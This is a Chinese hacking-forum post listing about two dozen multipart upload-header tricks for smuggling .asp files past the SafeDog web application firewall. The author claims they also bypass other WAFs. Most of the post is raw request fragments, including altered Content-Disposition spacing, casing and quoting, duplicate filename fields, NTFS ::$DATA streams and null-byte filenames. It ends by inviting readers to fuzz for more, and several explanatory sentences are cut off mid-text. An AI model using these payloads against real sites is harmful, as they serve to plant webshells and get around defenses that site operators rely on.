c4rt1y

九零元老
酒票 35
贡献 0
积分 46
注册时间 2013-1-31
发消息

表哥已经在https://forum.90sec.org/forum.php?mod=viewthread&tid=9133这里写了一些方法，今晚在看另了，于是乎，今晚测试了下安全狗的上传，发现方法还是如此，依旧没任何变化，当然我们只拿安全狗为案列，过狗方法，这里感谢keio牛文档，我虽然也做了类似的，但是排版没你的好，就拿你的放上去了。

默认状态

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
```

突破**0**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="[0x09]a.asp"
Content-Type: text/html
```

突破**1** 去掉双引号

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename=a.asp
Content-Type: text/html
```

突破**2** 添加一个**filename1**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp";filename1="test.jpg"
Content-Type: text/html
```

突破**3 form**中间**+**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: f+orm-data; name="filepath";filename="test.asp"
Content-Type: text/html
```

突破**4** 大小写

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
```

突破**5** 去掉**form-data**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: name="filepath"; filename="a.asp"
Content-Type: text/html
```

突破**6** 在**Content-Disposition:**后添加多个空格 或者在**form-data;**后添加多个空格

[Bash shell] 纯文本查看 复制代码

```
[mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
```

[/mw_shl_code]

突破**7 a.asp . (**空格**+.)**

[Bash shell] 纯文本查看 复制代码

```
[mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp ."
Content-Type: text/html
```

[/mw_shl_code]

突破**8 "**换行

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp
"
Content-Type: text/html
```

突破**9 NTFS**流

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="test.asp::$DATA"
Content-Type: text/html

------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="test.asp::$DATA\0x00\fuck.asp0x00.jpg"
Content-Type: text/html
```

突破**10** 经过对**IIS 6.0**的测试发现，其总是采用第一个**Content-Disposition**中的值做为接收参数，而安全狗求**[**上传**test.asp**成功**]**：

[Bash shell] 纯文本查看 复制代码

```
Content-Disposition: form-data; name="FileUploadName"; filename="test.asp"

----------------------------15377259221471

Content-Disposition: form-data; name="FileUploadName"; filename="test.txt"

Content-Type: application/octet-stream

```

```
09 Content-Disposition: form-data; name="FileUploadName"; filename="test.asp"
10 Content-Disposition: form-data;
11 name="FileUploadName"; filename="test.asp"
```

突破**11** 换位

[Bash shell] 纯文本查看 复制代码

```
1 ------WebKitFormBoundary2smpsxFB3D0KbA7D
2 Content-Type: text/html
3 ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
```

在上述的方法中，还有些方法可以过安全狗，也可以过D盾、360网站卫士等等。另外从上述方法中，若按
派，较口语化)i，特性包括系统特性，协议特性等等，比如上述中，大多数都属于协议的特性，因为FORM-DATA
上述的第二种添加一个filename1，这种在正常情况下无法使用的，如果第0种，对特殊字符无法解析，归根到底
针对于特性，在上传这一块，好像能用到的就只有系统特性和协议特性，系统特性从系统出现到现在才挖掘

默认状态

[Bash shell] 纯文本查看 复制代码

```
1 ------WebKitFormBoundary2smpsxFB3D0KbA7D
2 Content-Disposition: form-data; name="filepath"; filename="a.asp"
3 Content-Type: text/html
```

上述方法我们已经开始测试，那么，有没有想过。既然你们想得到用window特性来+空格，有没有想过用协议来

突破方法**001**

[Bash shell] 纯文本查看 复制代码

```
1 ------WebKitFormBoundary2smpsxFB3D0KbA7D
2 Content-Disposition:form-data; name="filepath"; filename="a.asp"
3 Content-Type: text/html
```

突破方法**002**

[Bash shell] 纯文本查看 复制代码

```
1 ------WebKitFormBoundary2smpsxFB3D0KbA7D
2 Content-Disposition:  form-data; name="filepath"; filename="a.asp"
3 Content-Type: text/html
```

突破方法**003**

[Bash shell] 纯文本查看 复制代码

```
1 ------WebKitFormBoundary2smpsxFB3D0KbA7D
2 Content-Disposition: form-data; name="filepath"; filename="a.asp"
3 Content-Type:text/html
```

突破方法**004**

[Bash shell] 纯文本查看 复制代码

```
1 ------WebKitFormBoundary2smpsxFB3D0KbA7D
```

```
Content-Disposition: form-data; name="filepath"; filename= "a.asp"
Content-Type:text/html
```

突破方法**005**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data;  name="filepath"; filename="a.asp"
Content-Type: text/html
```

上述就5种方法了，然后呢，空格可以，谁可以代替空格，tab？咱们来试试
突破方法**006**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition:     form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
```

突破方法**007**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data;      name="uploaded"; filename="a.asp"
Content-Type: text/html
```

突破方法**008**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename=    "a.asp"
Content-Type: text/html
```

上面的方法可以延伸很多种了，记住一点，什么可以替换空格！

接下来，我们在根据之前公布的方法 ，大小写
突破方法**009**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
```

突破方法**010**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: Form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
```

突破方法**011**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; Name="filepath"; filename="a.asp"
Content-Type: text/html
```

突破方法**012**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; Filename="a.asp"
Content-Type: text/html
```

突破方法**013**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-type: text/html
```

然后，这里在针对一个漏洞结合下，记得form-data中见存在一个+号吗，为什么不能放到前面或者后面

突破方法**014**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: +form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
```

突破方法**015**

[Bash shell] 纯文本查看 复制代码

```
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data+; name="filepath"; filename="a.asp"
Content-Type: text/html
```

列举了15种方法，不过也才3个技巧，我们也仅仅拿安全狗做演示，但是方法可以绕过目前大部分waf了，种，我记得某一妹子和我讲过，hack技术在于mind，不受约束，你会发现更多好玩的。

对于解析这块，就靠大家自己去fuzz了，放出来就淹死啦！